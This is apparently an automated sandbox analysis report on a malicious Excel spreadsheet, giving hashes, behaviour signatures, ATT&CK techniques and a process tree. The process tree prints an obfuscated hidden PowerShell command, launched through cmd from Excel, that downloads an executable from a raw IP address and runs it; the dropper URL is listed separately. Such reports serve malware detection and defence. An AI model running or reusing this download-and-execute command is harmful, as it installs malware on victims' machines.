Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-04-2024 17:46

General

  • Target

    f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls

  • Size

    168KB

  • MD5

    f1a0dc40b455647ef7fa4e9b9c009469

  • SHA1

    42621f4cd2ad7f0de4140ac63845b8826e6e978c

  • SHA256

    122fd6ba7eaff6999bceced392b909939a14c82ef7a562d630772eaf33a6fbe9

  • SHA512

    70c162ba06a64878b1c9c683d334ad0a2c00f3de02155ce110395914cbc346e7158b425f61baf0d38f33ae221c5abb592af84c2927988ee092f17ca407b24a15

  • SSDEEP

    3072:5k3hOdsylKlgryzc4bNhZFGzE+cL2knAQKKWXQ3kl/GVMfliRx4J2iSAqsaHHIaQ:5k3hOdsylKlgryzc4bNhZF+E+W2knAQV

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://3.64.251.139/v11/1/TDH_71036210065IMG.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\frontserve.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3.64.251.139/v11/1/TDH_71036210065IMG.e`xe -Destination C:\Users\Public\Documents\minutesister.e`xe;C:\Users\Public\Documents\minutesister.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:896
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4396

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4hlyvy0.aul.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Public\Documents\frontserve.cmd
      Filesize

      214B

      MD5

      a23edc137db35751f190e5f396f182ff

      SHA1

      ce2ed69a3d03d6d351227c0a24a8a0a2b27af8df

      SHA256

      e88aa47b0ad9a5ea3aa480cf3fa6a8bfa6754a716bcaae809d1327d20384418f

      SHA512

      4390c554824125ecad23e728765a942e9f74d3cf71832c8395609859e3cb715d69b2128bdfba93cd473909401943a1e1070c63e62206cfcbe83e41051cea2c11

    • memory/896-70-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/896-57-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/896-56-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp
      Filesize

      10.8MB

    • memory/896-79-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp
      Filesize

      10.8MB

    • memory/896-76-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/896-72-0x000002826DC60000-0x000002826DC74000-memory.dmp
      Filesize

      80KB

    • memory/896-51-0x000002826D7A0000-0x000002826D7C2000-memory.dmp
      Filesize

      136KB

    • memory/896-71-0x000002826DC10000-0x000002826DC36000-memory.dmp
      Filesize

      152KB

    • memory/896-69-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/896-68-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/896-67-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp
      Filesize

      10.8MB

    • memory/896-58-0x000002826D7E0000-0x000002826D7F0000-memory.dmp
      Filesize

      64KB

    • memory/3540-15-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-64-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-16-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-17-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-18-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-19-0x00007FFD1CD90000-0x00007FFD1CDA0000-memory.dmp
      Filesize

      64KB

    • memory/3540-1-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-22-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-35-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-37-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-41-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-3-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-20-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-8-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-97-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-14-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-13-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-59-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-61-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-2-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-65-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-66-0x000001BF1C380000-0x000001BF1D350000-memory.dmp
      Filesize

      15.8MB

    • memory/3540-12-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-11-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-10-0x00007FFD1CD90000-0x00007FFD1CDA0000-memory.dmp
      Filesize

      64KB

    • memory/3540-0-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-9-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-7-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-6-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-5-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-90-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-91-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-93-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-95-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-94-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-96-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-92-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmp
      Filesize

      64KB

    • memory/3540-4-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB

    • memory/3540-98-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp
      Filesize

      2.0MB